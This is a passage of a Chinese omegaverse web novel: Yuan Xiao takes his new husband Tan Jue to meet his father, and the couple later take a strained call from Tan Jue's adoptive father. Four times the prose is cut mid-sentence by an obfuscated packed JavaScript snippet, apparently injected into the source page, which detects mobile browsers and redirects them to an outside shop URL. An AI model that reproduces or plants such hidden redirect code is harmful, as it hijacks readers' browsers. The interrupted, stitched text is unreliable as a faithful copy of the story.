车子在平缓的山道上行驶,路过一栋栋漂亮的大平层,门前是花园和草坪,谈决还看见了几个修剪花草的园丁,自动喷水器浇花时在草地上拉出一道低低的彩虹,惬意得不像人间,他忍不住好奇:“在这里买房子要花多少钱?” 原骁想了想:“八千万?还是一亿多?” “反正山庄刚落成的时候是这个价,这几年好像涨价了,而且也分地段和户型……我也不太清楚。” 他习以为常地说出几个天文数字,不把钱当钱一样。 谈决是穷过的人,他小时候跟着奶奶,一只鸡养半年,连肉带蛋最多买到百块出头;后来他上了大学,一直靠奖学金生活,偶尔拮据的时候还会接个家教,教人写论文;后来读了硕士博士,直到毕业工作,现在也算有了一笔可观的收入。 这几年他攒了点钱,也在云城市中心买了套不大不小的房子,生活还不错,但他远比任何人都知道挣钱的艰辛之处,这样的房子他这辈子都买不起,他一边往车窗外看,一边点点头:“……这样。” 原骁看他神态:“你喜欢这儿的房子?” 谈决摇摇头:“只是看看。” 原骁:“你要是喜欢的话我问问我爸还有没有空的,让他送我们一栋当新婚礼物,不过这边交通不太方便,你上下班比较麻烦,而且和我爸住一个山庄,他一个孤寡老A,肯定天天来咱们家蹭饭。” 谈决的关注点偏了,他有些不解:“送?” 这是可以送的吗? 原骁点点头:“对啊,这片山庄就是我们家开发的,你看中哪栋直接找我爸开口要就行。” 谈决:“……” 他根本不懂有钱人的世界。 眼看着原骁已经开始一本正经地选起地段和户型,好像只要老婆一句话他就立马把房子定下来,谈决赶紧澄清:“不用了,我更喜欢小一点的房子。” 两三个人住刚刚好的那种,漂亮,温馨,在客厅可以看到在厨房忙碌的身影还有咕嘟咕嘟的煲汤声,有烟火气,还有幸福感。 原骁“噢”了一声,没再纠结送别墅的事,心里却有了打算。 又过了四五分钟,汽车终于抵达了一栋别墅前,采光和朝向都很好:“到了,下车吧。” 谈决下意识看了一眼自己的着装,没发现不得体的地方,这才开门下了车。 原骁把后备箱的鸡爪和水果提出来,就看见杨妈跟司机一起出门:“小少爷回来了?午饭吃了吗?没吃我刚好煮了捞面,猪骨的,有番茄汤底和酸汤底,还热着呢。” 他们刚领完证,哪儿有时间吃饭,想起谈决挺喜欢杨妈的手艺,原骁点点头:“行,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185205|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待会吃。” 看见他们要出门,又问:“你们去哪儿?” 杨妈笑笑:“去买菜,原先生说今晚家里有客人,让我好好准备,我和老李正要去车库开车。” “开我的去,省得麻烦,”原骁把车钥匙递过去,又问:“我爸呢?” 杨妈:“在书房。” 原越庭办公时候不喜欢被人打扰,原骁闻言点点头,又嘱咐:“他不喜欢油腻的东西,但喜欢甜点,酸辣生冷都吃,但胃不太好,不能吃多。” 他指指谈决,告诉杨妈这位客人的口味,后者愣了愣,立马反应过来,笑道:“行嘞!” 杨妈和老李开车走了,原骁也带着谈决进了别墅。 alpha把水果和鸡爪随便找了个角落放着,然后带着谈决直奔餐厅。 老实说谈决不知道把房子建这么大有什么用,原骁家的餐厅都能拆成四五个卧室,除了方便边吃边散步减肥他找不出第二个优点,但他还是道:“我们不先去见叔叔吗?” “不管他,等他工作完自己就出来了。”原骁打开还在冒热气的猪骨,又把冰箱里的新鲜面条和汤底取出来,放进锅里一滚,放上软烂的猪骨和煮得刚刚好的溏心蛋,很快两碗热气腾腾的捞面就出锅了。 一碗番茄的,一碗酸汤的,酸汤开胃,原骁给了谈决,明明是来拜访原父,结果两个人就这么旁若无人地坐在楼下吃起捞面来。 原骁对他们父子间的相处方式有点好奇:“我们这么不懂礼貌,叔叔会不会不高兴?” 原骁不懂反问:“我们是回家吃饭又不是要上台演讲,为什么要懂礼貌?在家就该松弛一点。” 他说完又想到什么:“那你平时在家…在余家是怎么吃饭的?” 谈决回忆了一下自己小时候:“放学回家之后要第一时间和叔叔阿姨问好,吃饭的时候不能说话,不能挑食,也不能吃太多……晚上十点之后就不能吃东西。” “有段时间我和余文曜抽条长个很厉害,晚上经常饿得睡不着,余文曜就偷偷买了泡面回家吃。” 然后就有了余文曜在家偷吃泡面,谈决顶锅的事情。 原骁越听越觉得诡异:“这不纯纯反人类吗?不给吃饱饭跟虐|待|儿|童有什么区别?” 谈决:“余叔叔和余阿姨一直希望我们能成材,所以管教我们比较严厉。” 原骁不以为然:“那也没见余文曜多成材啊,你是纯纯基因好天赋高,他还不如我呢,我好歹德智体美劳全面发展,还开朗乐观,一点也不像他心理扭曲。” 他夸谈决顺口就来,夸自己更是一点也不收敛。 “而且吃不饱就长不高,你看余文曜那个子,一看就是小时候营养没跟上,你多吃点。”他还在见缝插针地诋毁余文曜。 谈决夹起块猪骨,闻言一顿,抬眼看他:“……可我也没你高。” 原骁心说谈决要是比自己高还得了,但还是安慰道:“你omega没事,可爱。” 他说着又开始暴风吸入捞面,吃得那叫一个香,谈决看看自己碗里,又看看原骁碗里,忽然觉得自己的捞面不香了,他把碗往前推了推:“你吃一口我的。” 原骁不明所以,依言夹了一筷子:“怎么了,不好吃吗?” 可他怎么觉得味道还行?谈决应该喜欢才对。 他没尝出怪味,正打算再尝一口,谈决却很小气地把碗收了回去,然后举着筷子,目不转睛地盯着他碗里的番茄味捞面。 “现在轮到我吃你的了。” 31. 破冰 原骁微微挑眉,谈决护食的小习惯还是一点都没变,连捞面都只让尝一口,生怕别人抢他的。 好在原骁不护食,他把大海碗推过去:“吃吧。” 谈决又把自己的碗推过来挑了一筷子,态度认真得堪比美食节目评委,原骁只好停下动作,眼睛一眨不眨的看着omega吃东西,吃完还问:“味道怎么样?” “还不错,”谈决点点头,又做了对比:“不过还是我这碗更好吃。” 吃到嘴里,谈决就不眼馋别人碗里的捞面,认认真真开始消灭自己的那一份。 谈决现在虽然有点轻度的抑郁和焦虑,但远远不到厌食的程度,胃口不错,自从前几天原骁住进了他家,他吃饭就越来越规律,越来越认真。 原骁很喜欢看他好好吃饭的样子:“好吃下次再给你做,争取把你喂胖点。” 下巴都是尖尖的,看着心疼。 谈决点点头:“嗯,我答应过你会尽量注意饮食习惯。” 他还记得之前和原骁的约定。 原骁满意了,两个人不紧不慢地吃完午饭,又勤劳地把碗洗了。 原越庭还在书房,大概率又在开会,现在是见不到了。 原骁带着谈决在家里随便逛了逛,又想到对方的腿刚拆护具,就问他:“想不想去我房间看看?” 谈决第一次接触到原骁的生活环境,略微迟疑后点了点头。 于是原骁带他坐电梯上了二楼,路过某两个关上的房间时,原骁还认真介绍:“这是我哥的房间,里面全是金融杂志,不过他现在有自己的私宅,偶尔回山庄。” “这是我姐的房间,里面全是运动器材,不过她已经大半年没回家了。” 又走了一会儿,原骁终于在某个向阳的卧室门口停下脚步,谈决一眼就看到了门上贴着两只正在打闹的狗狗,一开门刚好把两只狗分开,关上门狗又贴在一起,画风明显和其他两个房间格格不入。 咔,原骁扭动门把手推开门,谈决还以为会看到什么夸张的画面,结果并没有。 出乎意料的,原骁的房间很干净。 落地窗外的光透进来,把里面照得宽敞亮堂,卧室中间是张巨大的双人床,墙上贴着变形金刚的海报,海报上是擎天柱和大黄蜂在碰拳,旁边又突兀地挂了幅裱起来的油画,《戴珍珠耳环的少女》,但少女的脸是只微笑的金毛,显得有点诡异,桌上摆着电脑和游戏设备,角落里塞着投影仪,书架上摆着些乱七八糟的书。 角落里摆着个巨大的懒人沙发,沙发上堆满了各种各样乱七八糟的毛绒玩偶,大部分都是狗,显得很有少男心。 “怎么样,我房间好看吗?” “嗯……很温馨。”谈决想了半天终于想到个合适的词。 其实也是第一次认真参观alpha的房间,以前他住在余家,因为是养子的缘故,他和余文曜避嫌很严重,余母甚至把他们的卧室安排到了不同的楼层,所以他从未真正进过对方的卧室。 后来他上学住学生宿舍,工作后也是独居,没谈过恋爱,所以不知道alpha的房间是什么样,他只是偶尔听过朋友吐槽自己男朋友的房间像猪窝。 现在他也参观了一次alpha的卧室,不过没他想象中那么豪华奢靡,反而很有生活气息,适合在里面休息。 原骁往床上一躺,两条长腿伸在床外面:“还是自己房间舒服。” 他侧了个身,又拍拍被子:“来,过来坐。” 谈决也没拒绝,也跟着坐到床上休息,目光打量着房间,谁知刚坐下,alpha却轻轻拽了他一下,把他也带着躺到被子上。 谈决微微僵住,总觉得自己像一条卡住的鱼,不上不下。 alpha侧了个身,用手支着脑袋和他说话:“放轻松一点,不要绷得那么紧。” 原骁看得出对方从进山庄开始就有点紧张:“这里是我家,也是你家,你在家什么样子,在这里就什么样子。” 谈决也学着他,微微侧身:“嗯。” 他平时很少有这么随性的时候,也学不太会,原骁怎么做,他就跟着怎么做,两个人就这么躺在被子上,隔着不远不近的距离对视。 原骁看着omega安静地眨了眨眼,眼珠黑漆漆的,脸颊压在被子上,衬得肤色更加雪白,跟猫一样。 他忍不住又凑近些,用鼻尖贴了下谈决的脸颊,一边感叹:“你要是我弟弟就好了,住在我家,性格安静,不吵不闹,简直是我爸的梦中情娃。” 谈决纠正他:“我比你大三岁。” “那有什么要紧的,你是omega,比我大三岁也可以当弟弟。”在他印象里,omega就应该被让着宠着,多吃肉少吃苦。 谈决又皱起眉,质疑道:“如果我是你弟弟,那我们不是不能结婚了吗?” 国家不允许有亲缘关系的亲兄弟结婚。 原骁:“……” 谈决的逻辑实在太严密了,他竟然无法反驳。 “我就是打个比方,反正你知道我爸特别喜欢omega就对了,”他一边解释,一边开始分享他的家庭趣事。 “你不知道我爸有多想要个省心的omega弟弟,我妈生了原邃和原朔后,原邃天天毒舌戳他肺管子,还在幼儿园倒卖零食赚钱,你敢信一毛的成本他居然卖一块,结果卖了半个月被老师发现请家长了;原朔一身牛劲,每天精力多到用不完,幼儿园好几个alpha都被她揍过,然后又被叫家长。” 谈决见过原邃,当时只意外他年纪轻轻就接替了原越庭的工作,把镜天集团打理得井井有条,甚至每年都在给研究所追加科研经费,没想到对方在读幼儿园的年纪就展现了资本家的天赋。 原骁还在继续分享:“有了前两个孩子打样,我爸终于学聪明了,就盼着第三胎能是个omega,最好性格安静一点,可爱一点,能在他身心俱疲的时候当贴心小棉袄,他当时还专门去了趟寺庙许愿,连婴儿床都买了粉色。” 谈决很少听这些家长里短,他亲缘单薄,没有兄弟姐妹,很早就记事,平时和余文曜交流也不多,也没听余叔叔和余阿姨讲过余文曜小时候的事。 但原骁说起来却不会让人觉得枯燥,他还挺喜欢听,接着问:“然后呢?” 原骁理直气壮:“然后我就来了。” 谈决:“……” 他仿佛看到了原越庭的心累和失望的模样,但看着原骁现在的状态,对方显然也没有因为不是omega就受到了冷待,被爱浇灌出来的孩子是很不一样的,这一点在原骁身上体现得淋漓尽致。 谈决忍不住道:“alpha也很好,你很好。” 原骁只当趣事分享,没想那么多,闻言又道:“不过现在你来了,你现在是我们家唯一一个omega,还是高贵的读书人,我爸要乐上天去了。” 谈决心说未必,毕竟自己的孩子还是不一样的,自己要和原骁走入婚姻,身为父母的眼光多少会挑剔一点。 他胡思乱想着,眼皮却慢慢开始打架,原骁注意到他的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185206|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情:“困了?” 谈决:“还好。” 谈决没有睡午觉的习惯,因为他总是在动脑,大部分时候都在透支精力,但或许房间里环境放松,alpha的声音也轻缓,气氛太舒服,他居然久违地生出了困意。 原骁毫不犹豫爬起来给他脱外套盖被子:“困就睡一会儿,到点我叫你。” “嗯,”谈决点点头,脱了鞋子上床,原骁也爬上来,在被子抱住他,感觉到熟悉的温度,他闭上眼,没多久就陷入了沉睡。 谈决难得没做梦,睡着时只觉得浑身暖洋洋的,他隐隐约约感觉这一觉没睡多久,然而再睁眼时,窗外的天色已经暗了。 他看了眼手表,已经晚上七点多。 谈决:“……” 他居然睡了整整五个小时……原骁不是说会把他叫醒的吗? 想到原骁,他下意识去找人,然而被窝另一侧空荡荡的,alpha已经不见了,也不在房间。 谈决又一阵沉默。 起床穿好外套和鞋子,他才打开房门,调整了下心情,才顺着白天上楼方向原路返回,他没乘电梯,改走楼梯,然而刚到楼梯口,就听见两个人说话声,是原骁和原越庭在话家常。 他觉得自己今天的举止实在不太礼貌,但事情已经发生了,还是硬着头皮下楼。 “谈决!”原骁眼尖,看见谈决下楼就立马出声:“你终于醒了,还担心你睡过饭点,正打算去叫你,快过来!” 谈决看他一眼,目光有些埋怨,但轻微到原骁根本察觉不到,他依言走过去,一抬头就对上了沙发另一边中年alpha直勾勾的目光。 alpha相貌很英俊,骨相硬朗,和原骁有五分相似,只是更成熟稳重,也更有男人味,且双眼清明有神,一看就是经历过大风大浪的人。 原越庭保养得好,又勤健身,看着像四十出头,但笑起来的时候眼角还是有皱纹,谈决在新闻里见过对方,但从没这么面对面过,更没想过自己要和对方结婚,半晌才后知后觉叫人:“原叔叔。” 原越庭一愣,手里捏着准备送出去的红包没能送出去,他转头瞪了儿子一眼,又慈祥地笑笑:“欸,小谈来了,快坐。” 谈决挨着原骁坐下,有些局促。 原越庭只能主动找话题:“白天有点公务,没能下来见你们……听说你这次去雨林考察伤到了腿,现在好点了吗?” 谈决:“已经好多了,原骁一直在照顾我。” “那就好,辛苦你伤了腿还要早起陪小骁领证,我已经说过他了,他太不懂事了……” 谈决忍不住看了原骁一眼:“……” 领证的日期是他定的,跟原骁没关系,结果对方现在要给他背锅。 “没有,原骁同学很体贴,也很优秀……”他一紧张就习惯性叫某某同学,话一出口才觉得不对,然而为时已晚,原越庭已经沉默,连原骁都睁大了眼睛。 气氛略有些尴尬。 原骁坐了一会儿,忽然站起来:“你们聊,我去餐厅看看晚饭好了没。” 谈决:“!” 他下意识想跟去,但原骁忽略了他求救的目光,头也不回地走了,他有些泄气地回神,然后就看见原越庭捏着保温杯,眼神在他们两之间来回,仿佛早已看穿一切。 谈决:“……” 怎么办,更尴尬了。 他正想着该怎么打开话题,原越庭摩挲着保温杯,忽然道。 “你想不想看原骁小时候光屁股的照片?” 32. 黑历史 原骁是故意找机会溜走的,目的是想让谈决和他爸单独聊聊破个冰。 他从客厅晃到餐厅,杨妈正在有条不紊地忙碌着,听见原骁的脚步声才回头:“饿了吧?等我煎完这两片牛排就开饭。” 原骁:“还行,我爸在和我老婆说话,我过来看看。” 灶上正在炖汤,原骁打开锅盖一看,是莲藕排骨,汤汁是奶白色的,咕嘟咕嘟冒泡。 杨妈在原家已经挺多年了,原骁妈妈在世的时候就帮她带孩子做饭,几乎是看着几个alpha长大的,得知原骁这回带了个omega回家,还领了证,也打心里高兴:“是商量结婚的事吧?结婚好,结婚好啊……先成家后立业,不像我们家小伟,翻过年就三十了,现在还没动静。” “是商量婚事,”原骁把盘子里处理干净的牛排递过去,一边说道:“不过谈决工作特别忙,这段时间批不到婚假,可能先安排个订婚宴,等闲下来再举行婚礼。” 上辈子他们结婚很仓促,没有订婚宴,唯一的仪式感大概是去民政局拍了个结婚照,甚至连结婚宴都是在新婚后才补办的。 应谈决的建议,婚宴办得很低调,宴会结束后当晚,谈决连西服都没来得及换就赶回了研究所。 但以原家的地位,一点点风吹草动都会引发轩然大波,原骁一开始和许眠有婚约,结果许眠感染腺体萎缩症离世后没几天,他转头就和人类生命进化研究所的负责人结了婚,脖子上还戴着管教项圈。 圈子里猜什么的都有,后来不知道是谁走漏了风声,说原骁和谈决是强制匹配,有人觉得原骁可怜,有人感叹原越庭狡猾,但豪门婚姻大多这样,利益大于真心,看多了就见怪不怪。 总而言之没人看好这段婚姻,包括他们自己。 但这辈子不一样了,他们的开头很好,虽然领证很仓促,但原骁不想让婚礼也仓促。 谈决是个很容易满足的人,一点点的好意就能支撑他很长时间,一开始原骁以为他不在意细节和仪式感,直到他从谈决的枕头下翻出那张结婚证,还有婚照上给原骁画的小狗耳朵,他才恍然惊觉omega其实也在意。 “是哦,毕竟是科学家,造福人类的,工作忙也正常。”杨妈没什么文化,但这个社会没人不喜欢读书好学历高的,像谈决这种十四岁上大学的妥妥是“别人家的孩子”。 原骁又听杨妈传授了点婚后经验,眼看着晚饭差不多了,他才悠哉悠哉地转回客厅,结果就看到刚刚还尴尬拘束的两个人正在其乐融融地在一起翻相册。 “这张是他四岁半去动物园,结果孔雀看上他手里的面包,一直追着啄,他吓得嚎了半天。” “这张是和原朔打架……” 原骁眼睁睁看着亲爹给老婆科普自己小时候的黑历史,忍不住道:“爸!” “干点正事吧,别翻你那破相册了!” 他一出声,沙发上两个人就一起抬头看过来,原越庭“啧”一声:“我和小谈聊天儿呢,你别一惊一乍的。” 原骁想都不用想都知道原越庭是在拿自己的黑历史跟儿媳妇拉近关系,这招成效显著,谈决果然看得津津有味,也没那么拘束了,但原骁的脸丢光了。 他很想把那本巨大的相册抢过来塞保险箱里锁个一百年,但最后还是忍住了,只是走过去坐谈决身边,憋屈道:“……你们在看什么?” 谈决看着他:“我们刚刚看了你小时候光屁股的照片。” 原骁:“……” 原越庭很配合地把相册翻到了那一页,照片上原骁两岁左右,跟狗打闹时不小心被扒了裤子,一脸懵逼地趴地上,屁股蛋正对镜头。 原骁:“……” 还有更小一些的婴儿照,原骁总感觉自己被扒光了扔谈决面前,终于忍无可忍地合起相册:“别看了,吃饭!” “等等……”谈决还没看完,显然意犹未尽,看见原骁收相册还是有点失望,但也没说什么。 原越庭也站起来,整理了下衣服:“那就先吃饭吧。” 餐桌上已经摆了满满一桌子菜,大部分都考虑了谈决的口味,三人落座后原越庭给谈决倒了杯饮料:“小谈腿伤还没好,就不让你喝酒了。” “原朔在北美,原邃出差,今晚咱爷三个先吃一顿。” 谈决点点头:“谢谢原叔叔。” 原越庭虽然是长辈,但姿态不高,没什么压迫感,谈决话不多,偶尔加入话题,对方也不强求,这顿饭吃得也算其乐融融。 吃完饭,三人又坐在沙发上聊天,原越庭和谈决又继续抱着那本相册回忆原骁的黑历史,原骁阻止不了,也插不进话,只能把白天买来的水果洗了,任劳任怨地在边上削苹果。 等把原骁的黑历史扒得差不多了,原越庭才说起别的:“小骁这孩子吧,虽然年轻没个正形,但心不坏,他妈妈走得早,以后跟了你,你要多管管他。” 谈决:“嗯,我会的叔叔。” 原越庭终于还是提出了质疑:“叔叔?” 都领证了怎么还叫叔叔? 谈决一愣,立马反应过来什么,虽然有点别扭,但还是改口道:“……爸。” 这是他人生中的第一声“爸”,没想到会是在这种情况下叫出口的。 他声音很小,但原越庭还是听见了,眉开眼笑地拍了拍他的肩膀:“欸,好孩子。” 他说着,又从口袋里掏出个鼓鼓囊囊的红包:“这是爸的一点心意,你拿着。” 谈决:“您不用破费……” 原骁却捅捅他:“接着吧,这叫改口费,他揣兜里一晚上了,你不接他晚上睡不着。” 原越庭瞪他一眼。 谈决不知道这些习俗,但迟疑了下还是接下了:“谢谢爸。” 原越庭终于满意了。 “听小骁说你们今年没假期办婚礼,但爸是这么想的,婚礼办不了,但该过的礼还是要过,咱们先办个订婚宴,宴会这边我们会张罗,你专心工作,到时候出面见见人就行。” 他说得很委婉,但谈决知道他的意思,原家这种家庭有自己的圈子,大办订婚结婚,其实就是要和圈子里宣告谈决已经被原家接纳,是自己人,到时候原家的人脉就是谈决的人脉。 如果是以前,他会觉得这些无谓的社交只会影响工作状态,但原越庭态度平和,这又是他人生唯一一次的订婚宴,谈决还是同意了:“好,听您的。” 商量完正事,原越庭也放心下来,明早谈决还要去一趟研究所,所以他们也没留宿,连夜开车回家。 回程的路上,谈决坐在副驾有些沉默。 到了家,谈决才彻底松了口气,原骁今天就是个陪衬,话都少说,他主要是带谈决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185207|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来和原越庭打好关系,洗完澡出来,他就看见omega穿着睡衣在沙发上发呆,走过去:“在想什么?” 谈决这才回神,他其实没有想到自己会被这么顺利接纳,他指了指桌上的红包:“……爸给得太多了。” 原骁:“没关系,他有钱着呢。” 谈决还是没说话,原骁就和他说起原越庭年轻时候的事:“其实你别看他现在这样子,早年还是吃了挺多苦的,我三岁那年妈妈生病去世,他受了很重的打击,意志消沉,但因为要照顾三个孩子,只能强撑着,白天看不出来,晚上要吃安眠药才能睡着,头发大把大把掉,好几年才走出来……这些还是杨妈后来跟我说的。” 谈决:“这样吗?” 原越庭看着不像那种会意志消沉的人。 “嗯,别看我爸现在什么都有,看着高高在上,其实他也是普通人,老了只想家庭和睦享受点天伦之乐,他很喜欢你,也尊重我们的婚姻,所以你不要有心理负担。” “如果你哪里不舒服了,要第一时间告诉我。” 原骁上辈子已经吃过不长嘴的亏了,这辈子无论如何也要规避。 这种时候,alpha就一点都不像十九岁,反而像个敏锐又包容的情场老手,谈决目不转睛地看着他,半晌才感叹道:“原骁……你爸真的把你养得很好。” 虽然从小失去妈妈,但原骁还是健康快乐地长大了,明明是那样的家庭出身,却富有同理心,一点都没有纨绔子弟的习气,连恋爱都这么厉害。 原骁理所当然道:“那当然了,不把我养好一点,怎么有资格送来和你结婚呢?” 谈决心一跳,这话说得像原骁生下来就是跟他结婚一样,虽然是热恋期的甜言蜜语,但还是会让人短暂失去分辨力。 不过原骁说得也没错,因为上辈子和这辈子,他都在十九岁和谈决结婚了。 谈决看着alpha,忽然又想接吻了,也这么做了,他勾住alpha的脖颈,和他在沙发上交换信息素。 omega脱下西装,整个人就小了一圈,那种清冷不近人的气质削弱了很多,原骁一手握着他的腰,另一手却托住对方圆圆的臀肉,揉了两把:“……这里还挺胖的。” 谈决浑身一僵,很快又放松下来,只是翻身坐到alpha身上,比对方高出一截后,才继续和对方接吻:“……你的管教项圈呢?” 本来今天原骁打算戴一整天的,结果到原家就被谈决耳提面命摘下来了,他指了指隔壁沙发:“在外套里。” 谈决“嗯”了一声,在外套口袋里翻出项圈给对方戴上,这才很坏地勾住了项圈边缘:“有没有人和你说过,你有时候特别像小狗?” 原骁一愣,实话实说:“有,宋锦说我像舔狗。” 谈决:“……” 他沉默了下,又勾住项圈,手指轻轻摩挲着上面的编号,某种诡异的占有欲也一点点得到了满足,又安慰道:“不,他在诋毁你……” 他说着又要去吻alpha,然而刚刚低头,手机就响了。 他一愣,以为是工作的事,然而看清来电联系人是谁时,脸色忽地一白。 于是原骁眼睁睁看着omega放松的姿态在一瞬间收敛,跟应激似地从他怀里退了出去,连接电话都挺直了肩背。 “喂,余叔叔?” 33. 神秘感 余叔叔? 好好的氛围忽然被打断,原骁的不爽终于到达了巅峰。 刚走了个余文曜,又来个余叔叔,下次是不是还要来个余阿姨?这家人把谈决欺负成这样,还三番两次打断他们的好事。 可看见谈决这惊弓之鸟的样子,他又忍不住心疼,只是一言不发地蹭过去,重新把omega抱进怀里。 谈决下意识挣扎,但在转头看见alpha的脸时又停下了动作,alpha从背后抱住他,把脑袋埋在他肩膀上,然后老老实实不动了。 谈决只继续打电话:“您找我有什么事吗?” 原骁离谈决很近,当然也听得见电话里的声音。 电话那边有些迟疑:“叔叔看见的你朋友圈了……结婚这么大的事,你怎么不告诉叔叔和阿姨一声呢?” 朋友圈?什么朋友圈? 原骁不明所以,翻出自己的手机,这才发现谈决四十分钟前发了条朋友圈,是他在车上拍的结婚证照片。 omega悄悄偷了他的图,然后自己在朋友圈官宣了,配文只有言简意赅的三个字——结婚了。 谈决不怎么发朋友圈,上一条还是两年前,发的还是一些大海天空之类的风景,但他朋友圈有很多人。 研究所最年轻的负责人忽然官宣领证结婚,可想而知是多么炸裂的八卦,就像炮仗落进鱼塘,里面的鱼被炸得乱飞。 原骁只能看见几个共友给谈决点赞。 原邃非常商业地发了句“新婚快乐”,原越庭有样学样,后面还跟上了大拇指和烟花庆祝的表情包。 研究所的几个工作人员也都送上了祝福,小沐在评论区小心翼翼地提问:“新婚快乐老师!老师请问我们可以喝到喜酒吗?” 谈决给祝福的评论都回了“谢谢”,也回了小沐一句“可以”。 原骁一边翻评论区一边乐,谈决两年没发朋友圈,两年后发的第一条就是和他结婚,谈决真爱他。 余父那边在问话,谈决也很干脆地实话实说:“因为决定得很突然,所以打算过两天再告诉你们。” 余父却道:“这不是过两天不过两天的问题……你既然要结婚,那至少要把人带到家里,让我和你阿姨、你弟弟掌掌眼再决定,人心隔肚皮,你现在有身份有地位,盯着你的很多……这个决定实在太草率了。” 电话那头语重心长,听声音是位沉稳的高知男性,让人第一时间还挺有好感,但原骁听谈决和余文曜提起过这位“余院长”很多次,当然不会被蒙蔽。 谈决又沉默了一下:“他很好。” 言外之意是原骁不图他什么。 余父没表态,只是换了个话题:“我听你弟弟说,你跟联盟副主席家的小儿子走得很近,和你结婚的是他吗?” 他不经意提起余文曜,语气中带着难以察觉的试探。 谈决似乎对这种交流方式习以为常,但又难掩疲惫:“……是。” 得到了确定的答案,余父又不说话了。 原骁从没见过这么诡异的父子相处,他圈子里人多,什么都接触得到,越“上流”的圈子精神病越多,他见过儿子为了家产,不得不小心谨慎地应对控制欲强的疑心老爹;他还见过父亲暴躁,儿子叛逆,两个人谁也不服谁,在家大演全武行;就连宋锦和许眠,都经历过家里忽然冒出两个私生子的狗血桥段,相比之下原越庭这个丧偶寡A已经算正常的了。 但他也没有见过谈决和家人的相处,余文曜对着哥哥颐气指使,但余父却对着谈决好言好语,甚至带着点讨好的意味,正常人如果知道原骁把他亲儿子打了,估计早就打电话过来劈头盖脸骂一顿,哪里会拐弯抹角又欲言又止。 好半晌,余父才开口:“不是叔叔要泼冷水,但原家那个家庭,你和对方结婚,会不会受委屈?” 原骁听了半天听懂了,这老东西是来拆散他和谈决的。 谈决:“没关系,我是成年人,不管结果怎么样,我都会为自己的行为负责。” 他态度已经很明确,余父也不能说什么,反而回忆起过往:“其实你十来岁的时候,叔叔脑子里曾经闪过点念头,你和文曜虽然是名义上的兄弟,但没有亲缘,要是长大了能够互相亲近扶持……谁知道你们现在会闹成这样。” 原骁这回彻底炸毛了。 什么意思?什么叫没有亲缘? 敢情这老东西一家子欺负完谈决,还要道德绑架谈决给余文曜当血包童养媳吗? 贱不贱啊? 他正打算出声骂人,却被谈决制止。 “叔叔,我现在已经结婚了,和文曜也只是普通的兄弟关系,希望你以后别再说这些,对阿姨和我的伴侣都不好。” “还有一件事,文曜已经一个星期没去所里,他刚进项目就旷工,也没有请假说明,科研不是儿戏,如果他还想继续实习深造,就不要三天打鱼两天晒网。” 自从原骁打完余文曜后,对方就再没出现在研究所。 余父心知肚明,以余文曜的天资,能进研究所全靠谈决的关系,闻言也不能再说什么:“行,我好好劝劝他。” 他说完这句,话题就彻底冷却下来,电话两端都陷入沉默,谁也不知道该说什么,过了很久很久,余父似乎也累了。 他似乎彻底接受了这个前途光明璀璨的养子变成凤凰,想要彻底飞离的决心,又后悔因为这些年的疏忽,把对方推得越来越远,于是他直截了当问:“那你的婚宴我们能参加吗?” 连能不能去都不知道,原骁不敢想象这家人平时是亏欠谈决到什么地步,才会心虚到连去儿子的婚宴都要怀疑试探。 谈决默了默,又道:“嗯,等定下时间,我会把请帖发给您。” 他一直很尊敬养父养母,即便受了委屈也不抱怨什么,在有能力逃离家庭的时候也没有彻底翻脸,只是慢慢远离,给足了所有人体面。 原骁抱着他,只觉得omega实在是个很干净的人,更是个高尚的人,上辈子对方穷尽一生研发出了0218,最后却把这份抽干他心血和生气的成果免费送给了人类。 他把功绩留给了项目组其他人,却抹去了自己的名字,他愧疚于间接害死了许眠,强迫原骁结婚,所以抑郁和焦虑越来越严重,可即便如此,在自杀前他还会留下遗书,为原骁洗清嫌疑。 然而这样的人,却一直在被欺负,被伤害,连个圆满的结局都得不到。 原骁出神地想着,谈决却挂了电话,转过头来:“我请他们来我们的婚宴,你会不高兴吗?” 原骁不知道他为什么会这么想:“当然不会,我为什么要不高兴?” 谈决想了想,实话实说:“因为你为我出头,但我没有站出来好好支持你……” 原骁打了余文曜,结果他还要让对方来参加婚宴,这对原骁来说不是一种背叛吗? 原骁亲亲他的脸,很邪恶地教他怎么报复人:“既然是大喜事,为什么不让他们来?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 